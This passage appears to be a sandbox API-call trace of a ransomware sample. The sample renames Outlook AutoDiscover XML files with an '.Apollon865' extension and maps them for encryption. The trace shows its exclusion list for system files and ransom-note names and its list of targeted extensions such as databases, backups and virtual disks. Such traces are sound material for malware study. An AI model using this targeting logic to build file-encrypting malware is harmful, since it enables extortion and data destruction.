	[0070.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.009] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=811) returned 1
	[0070.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.009] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.010] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.010] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.010] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.012] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.016] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.017] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.017] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.017] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.017] CloseHandle (hObject=0x118) returned 1
	[0070.017] CloseHandle (hObject=0xc0) returned 1
	[0070.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.018] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.CO.KR.XML", cAlternateFileName="YAEF96~1.XML")) returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2=".") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="..") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="windows") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="bootmgr") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="temp") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="pagefile.sys") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="boot") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="ids.txt") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="ntuser.dat") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="perflogs") returned 1
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2="MSBuild") returned 1
	[0070.018] lstrlenW (lpString="YAHOO.CO.KR.XML") returned 15
	[0070.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML") returned 78
	[0070.018] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.CO.KR.XML" | out: lpString1="YAHOO.CO.KR.XML") returned="YAHOO.CO.KR.XML"
	[0070.018] lstrlenW (lpString="YAHOO.CO.KR.XML") returned 15
	[0070.018] lstrlenW (lpString="Apollon865") returned 10
	[0070.018] lstrcmpiW (lpString1=".CO.KR.XML", lpString2="Apollon865") returned -1
	[0070.018] lstrlenW (lpString=".dll") returned 4
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2=".dll") returned 1
	[0070.018] lstrlenW (lpString=".lnk") returned 4
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2=".lnk") returned 1
	[0070.018] lstrlenW (lpString=".ini") returned 4
	[0070.018] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2=".ini") returned 1
	[0070.019] lstrlenW (lpString=".sys") returned 4
	[0070.019] lstrcmpiW (lpString1="YAHOO.CO.KR.XML", lpString2=".sys") returned 1
	[0070.019] lstrlenW (lpString="YAHOO.CO.KR.XML") returned 15
	[0070.019] lstrlenW (lpString="bak") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.019] lstrlenW (lpString="ba_") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.019] lstrlenW (lpString="dbb") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.019] lstrlenW (lpString="vmdk") returned 4
	[0070.019] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.019] lstrlenW (lpString="rar") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.019] lstrlenW (lpString="zip") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.019] lstrlenW (lpString="tgz") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.019] lstrlenW (lpString="vbox") returned 4
	[0070.019] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.019] lstrlenW (lpString="vdi") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.019] lstrlenW (lpString="vhd") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.019] lstrlenW (lpString="vhdx") returned 4
	[0070.019] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.019] lstrlenW (lpString="avhd") returned 4
	[0070.019] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.019] lstrlenW (lpString="db") returned 2
	[0070.019] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.019] lstrlenW (lpString="db2") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.019] lstrlenW (lpString="db3") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.019] lstrlenW (lpString="dbf") returned 3
	[0070.019] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.020] lstrlenW (lpString="mdf") returned 3
	[0070.020] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.020] lstrlenW (lpString="mdb") returned 3
	[0070.020] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.020] lstrlenW (lpString="sql") returned 3
	[0070.020] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.020] lstrlenW (lpString="sqlite") returned 6
	[0070.020] lstrcmpiW (lpString1="KR.XML", lpString2="sqlite") returned -1
	[0070.020] lstrlenW (lpString="sqlite3") returned 7
	[0070.020] lstrcmpiW (lpString1=".KR.XML", lpString2="sqlite3") returned -1
	[0070.021] lstrlenW (lpString="sqlitedb") returned 8
	[0070.021] lstrcmpiW (lpString1="O.KR.XML", lpString2="sqlitedb") returned -1
	[0070.021] lstrlenW (lpString="xml") returned 3
	[0070.021] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.021] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML.Apollon865") returned 89
	[0070.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.022] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=806) returned 1
	[0070.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.023] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.023] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.023] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.023] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.025] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.026] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.026] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.026] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.027] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.027] CloseHandle (hObject=0x118) returned 1
	[0070.027] CloseHandle (hObject=0xc0) returned 1
	[0070.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.027] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.CO.NZ.XML", cAlternateFileName="YA186B~1.XML")) returned 1
	[0070.027] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.027] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.027] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2=".") returned 1
	[0070.027] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="..") returned 1
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="windows") returned 1
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="bootmgr") returned 1
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="temp") returned 1
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="pagefile.sys") returned 1
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="boot") returned 1
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="ids.txt") returned 1
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="ntuser.dat") returned 1
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="perflogs") returned 1
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2="MSBuild") returned 1
	[0070.028] lstrlenW (lpString="YAHOO.CO.NZ.XML") returned 15
	[0070.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML") returned 78
	[0070.028] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.CO.NZ.XML" | out: lpString1="YAHOO.CO.NZ.XML") returned="YAHOO.CO.NZ.XML"
	[0070.028] lstrlenW (lpString="YAHOO.CO.NZ.XML") returned 15
	[0070.028] lstrlenW (lpString="Apollon865") returned 10
	[0070.028] lstrcmpiW (lpString1=".CO.NZ.XML", lpString2="Apollon865") returned -1
	[0070.028] lstrlenW (lpString=".dll") returned 4
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2=".dll") returned 1
	[0070.028] lstrlenW (lpString=".lnk") returned 4
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2=".lnk") returned 1
	[0070.028] lstrlenW (lpString=".ini") returned 4
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2=".ini") returned 1
	[0070.028] lstrlenW (lpString=".sys") returned 4
	[0070.028] lstrcmpiW (lpString1="YAHOO.CO.NZ.XML", lpString2=".sys") returned 1
	[0070.028] lstrlenW (lpString="YAHOO.CO.NZ.XML") returned 15
	[0070.028] lstrlenW (lpString="bak") returned 3
	[0070.028] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.028] lstrlenW (lpString="ba_") returned 3
	[0070.028] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.028] lstrlenW (lpString="dbb") returned 3
	[0070.028] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.028] lstrlenW (lpString="vmdk") returned 4
	[0070.028] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.028] lstrlenW (lpString="rar") returned 3
	[0070.028] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.028] lstrlenW (lpString="zip") returned 3
	[0070.028] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.029] lstrlenW (lpString="tgz") returned 3
	[0070.029] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.029] lstrlenW (lpString="vbox") returned 4
	[0070.029] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.029] lstrlenW (lpString="vdi") returned 3
	[0070.029] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.029] lstrlenW (lpString="vhd") returned 3
	[0070.029] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.029] lstrlenW (lpString="vhdx") returned 4
	[0070.029] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.029] lstrlenW (lpString="avhd") returned 4
	[0070.029] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.029] lstrlenW (lpString="db") returned 2
	[0070.029] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.029] lstrlenW (lpString="db2") returned 3
	[0070.029] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.029] lstrlenW (lpString="db3") returned 3
	[0070.029] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.029] lstrlenW (lpString="dbf") returned 3
	[0070.029] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.029] lstrlenW (lpString="mdf") returned 3
	[0070.029] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.029] lstrlenW (lpString="mdb") returned 3
	[0070.029] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.029] lstrlenW (lpString="sql") returned 3
	[0070.029] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.029] lstrlenW (lpString="sqlite") returned 6
	[0070.029] lstrcmpiW (lpString1="NZ.XML", lpString2="sqlite") returned -1
	[0070.029] lstrlenW (lpString="sqlite3") returned 7
	[0070.030] lstrcmpiW (lpString1=".NZ.XML", lpString2="sqlite3") returned -1
	[0070.030] lstrlenW (lpString="sqlitedb") returned 8
	[0070.030] lstrcmpiW (lpString1="O.NZ.XML", lpString2="sqlitedb") returned -1
	[0070.030] lstrlenW (lpString="xml") returned 3
	[0070.030] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.030] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML.Apollon865") returned 89
	[0070.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.031] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.031] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.032] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.032] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.032] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.033] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.034] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.034] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.034] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.034] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.035] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.035] CloseHandle (hObject=0x118) returned 1
	[0070.035] CloseHandle (hObject=0xc0) returned 1
	[0070.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.035] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.CO.TH.XML", cAlternateFileName="YACB7D~1.XML")) returned 1
	[0070.035] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.035] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.035] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2=".") returned 1
	[0070.035] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="..") returned 1
	[0070.035] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="windows") returned 1
	[0070.035] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="bootmgr") returned 1
	[0070.035] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="temp") returned 1
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="pagefile.sys") returned 1
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="boot") returned 1
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="ids.txt") returned 1
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="ntuser.dat") returned 1
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="perflogs") returned 1
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2="MSBuild") returned 1
	[0070.036] lstrlenW (lpString="YAHOO.CO.TH.XML") returned 15
	[0070.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML") returned 78
	[0070.036] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.CO.TH.XML" | out: lpString1="YAHOO.CO.TH.XML") returned="YAHOO.CO.TH.XML"
	[0070.036] lstrlenW (lpString="YAHOO.CO.TH.XML") returned 15
	[0070.036] lstrlenW (lpString="Apollon865") returned 10
	[0070.036] lstrcmpiW (lpString1=".CO.TH.XML", lpString2="Apollon865") returned -1
	[0070.036] lstrlenW (lpString=".dll") returned 4
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2=".dll") returned 1
	[0070.036] lstrlenW (lpString=".lnk") returned 4
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2=".lnk") returned 1
	[0070.036] lstrlenW (lpString=".ini") returned 4
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2=".ini") returned 1
	[0070.036] lstrlenW (lpString=".sys") returned 4
	[0070.036] lstrcmpiW (lpString1="YAHOO.CO.TH.XML", lpString2=".sys") returned 1
	[0070.036] lstrlenW (lpString="YAHOO.CO.TH.XML") returned 15
	[0070.036] lstrlenW (lpString="bak") returned 3
